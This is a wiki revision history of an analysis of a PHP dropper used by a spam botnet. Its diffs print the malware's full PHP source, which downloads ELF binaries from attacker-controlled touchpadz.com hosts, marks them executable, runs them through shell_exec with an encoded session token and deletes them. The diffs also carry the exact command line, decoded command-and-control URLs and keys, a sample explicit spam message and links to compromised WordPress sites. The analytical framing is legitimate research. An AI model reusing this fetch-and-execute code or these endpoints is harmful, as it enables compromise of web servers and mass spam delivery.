PHP Shell Exploit - Revision history

Leo: added category

2020-06-15T00:20:59Z

added category

← Older revision		Revision as of 00:20, 15 June 2020
Line 170:		Line 170:
	The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:		The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
	* hxxp://touch.touchpadz.com/empty22.gif		* hxxp://touch.touchpadz.com/empty22.gif

			{{Navbox Web}}[[Category:WebApp]]

Leo: Text replacement - "" to "}}"

2017-02-24T19:14:40Z

Text replacement - "</code>" to "}}"

← Older revision		Revision as of 19:14, 24 February 2017
Line 132:		Line 132:


	The {{code\|XDVSN_SESSION_COOKIE~~</code>~~ environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.		The {{code\|XDVSN_SESSION_COOKIE}} environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

	The decoded value of the environment variable:		The decoded value of the environment variable:
Line 144:		Line 144:
	# su: hxxp://stat.touchpadz.com/gj13.php		# su: hxxp://stat.touchpadz.com/gj13.php

	The {{code\|lu~~</code>~~ URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.		The {{code\|lu}} URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

	The {{code\|bu~~</code>~~ URL will return the spam message payload, encoded with the base64+xor encoder.		The {{code\|bu}} URL will return the spam message payload, encoded with the base64+xor encoder.
	<syntaxhighlight lang="text">		<syntaxhighlight lang="text">
	<USER>lula_burton</USER>		<USER>lula_burton</USER>
Line 159:		Line 159:
	</syntaxhighlight>		</syntaxhighlight>

	The {{code\|su~~</code>~~ URL will return the exploit URL that contains the PHP spammer.		The {{code\|su}} URL will return the exploit URL that contains the PHP spammer.
	<syntaxhighlight lang="text">		<syntaxhighlight lang="text">
	http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php		http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php

Leo: Text replacement - "`" to "{{code|"`


2017-02-24T19:13:10Z
Text replacement - "<code>" to "{{code|"

				
				
				
				
				
				← Older revision
				Revision as of 19:13, 24 February 2017
				
Line 132:
Line 132:






The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately. The {{code|XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.



The decoded value of the environment variable: The decoded value of the environment variable:
Line 144:
Line 144:
# su: hxxp://stat.touchpadz.com/gj13.php # su: hxxp://stat.touchpadz.com/gj13.php



The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses. The {{code|lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.



The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder. The {{code|bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text"> <syntaxhighlight lang="text">
<USER>lula_burton</USER> <USER>lula_burton</USER>
Line 159:
Line 159:
</syntaxhighlight> </syntaxhighlight>



The <code>su</code> URL will return the exploit URL that contains the PHP spammer. The {{code|su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text"> <syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php



10.1.1.3: /* Email Links */
2015-05-08T04:46:14Z
Email Links

				
				
				
				
				
				← Older revision
				Revision as of 04:46, 8 May 2015
				
Line 169:
Line 169:



The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to: The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
* http://touch.touchpadz.com/empty22.gif * hxxp://touch.touchpadz.com/empty22.gif





10.1.1.3 at 04:46, 8 May 2015
2015-05-08T04:46:05Z


				
				
				
				
				
				← Older revision
				Revision as of 04:46, 8 May 2015
				
Line 163:
Line 163:
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight> </syntaxhighlight>


== Email Links ==
Each spam message appears to contain random explicit words (or that it really is bad English) and one link that is hosted on an exploited server.

The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
* http://touch.touchpadz.com/empty22.gif





10.1.1.3 at 03:39, 7 May 2015
2015-05-07T03:39:25Z


				
				
				
				
				
				← Older revision
				Revision as of 03:39, 7 May 2015
				
Line 112:
Line 112:
	return FALSE; 	return FALSE;
} }
<?php 
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+"; 

$crondElf32 ='http://pages.touchpadz.com/crond32'; 
$crondElf64 ='http://pages.touchpadz.com/crond64'; 
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8'; 
$systemType = php_uname('s'); 
$xpsvt57 = php_uname('m'); 

echo '<shchzzz>'; 
for (;;) { 
	if (!function_exists('shell_exec')) { 
		echo '<err step=1 err=noshex data=>'; 
		break; 
	} 
	if ($systemType !== 'Linux') { 
		echo '<err step=2 err=nolinux data='.$hafev1.'>'; 
		break; 
	} 
	$targetFilename = 'crond'; 
	$exploitUrl = ""; 

	if (strlen(decbin(~0)) == 64) { 
		echo '<inf step=3 data=x64>'; 
		$exploitUrl = $crondElf64; 
	} else { 
		echo '<inf step=3 data=x32>'; 
		$exploitUrl = $crondElf32; 
	} 

	$exploitFilename = ""; 
	if (!file_exists($targetFilename)) { 
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename); 

		if ( $exploitFilename == FALSE) { 
			echo '<err step=4 err=downl data=>'; 
			break; 
		} else { 
			echo '<inf step=4 data=downok>'; 
		} 
	} else { 
		echo '<inf step=4 data=exists>'; 
	} 

	chmod($exploitFilename, 0755); 

	$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &'; 
	$exploitResult = shell_exec($exploitCmd); 

	echo '<inf step=5 data=done data2='.$exploitResult.'>'; 
	sleep(1); 

	unlink($exploitFilename); 

	break; 
} 

echo '</shchzzz>'; 
exit(); 


function getPasteFileContents($key, $url) { 
	$hackFileContents = ""; 
	$fp = @fopen($url, 'rb'); 

	if ($fp == FALSE) { 
		if (!function_exists('curl_init')) 
			return FALSE; 
			 
		$curl = @curl_init(); 
		@curl_setopt($curl, CURLOPT_URL, $url); 
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
		$hackFileContents = @curl_exec($curl); 
		@curl_close($curl); 
	} else { 
		while(!feof($fp)) 
			$hackFileContents.= fread($fp, 1024 * 64); 
		fclose($fp); 
	} 
    return $hackFileContents; 
} 

function saveContentsToFile($key, $hackFilename, $hackFileContents) { 
	$fp = fopen($hackFilename, 'wb+'); 

	if ($fp == FALSE) { 
		if (!function_exists('file_put_contents')) return FALSE; 
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE; 
	} else { 
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents)); 
		fclose($fp); 
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE; 
	} 
	return TRUE; 
} 

function saveUrlToFile($key, $url, $exploitFilename) { 
	$hackFileContents = getPasteFileContents($key, $url); 

	if ($hackFileContents == FALSE) return FALSE; 
	 
	if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) { 
		if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) { 
			return FALSE; 
		} else { 
			return '/tmp/'.$exploitFilename; 
		} 
	} else { 
		return .'/'.$exploitFilename; 
	} 
	return FALSE; 
} 

</syntaxhighlight> </syntaxhighlight>








10.1.1.3 at 03:10, 7 May 2015
2015-05-07T03:10:51Z


				
				
				
				
				
				← Older revision
				Revision as of 03:10, 7 May 2015
				
Line 253:
Line 253:



There are three URLs that the program will fetch data from. There are three URLs that the program will fetch data from.
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk''' # lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: http://bat.touchpadz.com/aa2.php # bu: hxxp://bat.touchpadz.com/aa2.php
# su: http://stat.touchpadz.com/gj13.php # su: hxxp://stat.touchpadz.com/gj13.php



The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses. The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.





10.1.1.3 at 03:53, 6 May 2015
2015-05-06T03:53:50Z


				
				
				
				
				
				← Older revision
				Revision as of 03:53, 6 May 2015
				
Line 257:
Line 257:
# su: http://stat.touchpadz.com/gj13.php # su: http://stat.touchpadz.com/gj13.php



The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format. The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.



The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder. The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.





10.1.1.3 at 03:52, 6 May 2015
2015-05-06T03:52:48Z


				
				
				
				
				
				← Older revision
				Revision as of 03:52, 6 May 2015
				
Line 224:
Line 224:
	return FALSE; 	return FALSE;
} }




</syntaxhighlight> </syntaxhighlight>
Line 231:
Line 230:
The attacker will see the following outputs: The attacker will see the following outputs:



<syntaxhighlight lang="text> <syntaxhighlight lang="text">
<shchzzz><inf step=3 data=x64><inf step=4 data=downok><inf step=5 data=done data2=XXX></shchzzz> <shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
</syntaxhighlight> </syntaxhighlight>



Line 239:
Line 242:
<syntaxhighlight lang="text"> <syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null & XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight>


The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

The decoded value of the environment variable:
<syntaxhighlight lang="text">
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
</syntaxhighlight>

There are three URLs that the program will fetch data from.
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
# bu: http://bat.touchpadz.com/aa2.php
# su: http://stat.touchpadz.com/gj13.php

The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format.

The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
<syntaxhighlight lang="text">
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw:  Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat,  why  none of us would be here. Thanks guys. Mission  complete
</div>
</SBODY>
</syntaxhighlight>

The <code>su</code> URL will return the exploit URL that contains the PHP spammer.
<syntaxhighlight lang="text">
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
</syntaxhighlight> </syntaxhighlight>





10.1.1.3 at 06:04, 5 May 2015
2015-05-05T06:04:49Z


				
				
				
				
				
				← Older revision
				Revision as of 06:04, 5 May 2015
				
Line 226:
Line 226:






</syntaxhighlight>


The attacker will see the following outputs:

<syntaxhighlight lang="text>
<shchzzz><inf step=3 data=x64><inf step=4 data=downok><inf step=5 data=done data2=XXX></shchzzz>
</syntaxhighlight>

where XXX is the return code of the shell exec which attempts to run:

<syntaxhighlight lang="text">
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
</syntaxhighlight> </syntaxhighlight>

← Older revision		Revision as of 19:13, 24 February 2017
Line 132:		Line 132:


	The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.		The {{code\|XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.

	The decoded value of the environment variable:		The decoded value of the environment variable:
Line 144:		Line 144:
	# su: hxxp://stat.touchpadz.com/gj13.php		# su: hxxp://stat.touchpadz.com/gj13.php

	The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.		The {{code\|lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

	The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.		The {{code\|bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.
	<syntaxhighlight lang="text">		<syntaxhighlight lang="text">
	<USER>lula_burton</USER>		<USER>lula_burton</USER>
Line 159:		Line 159:
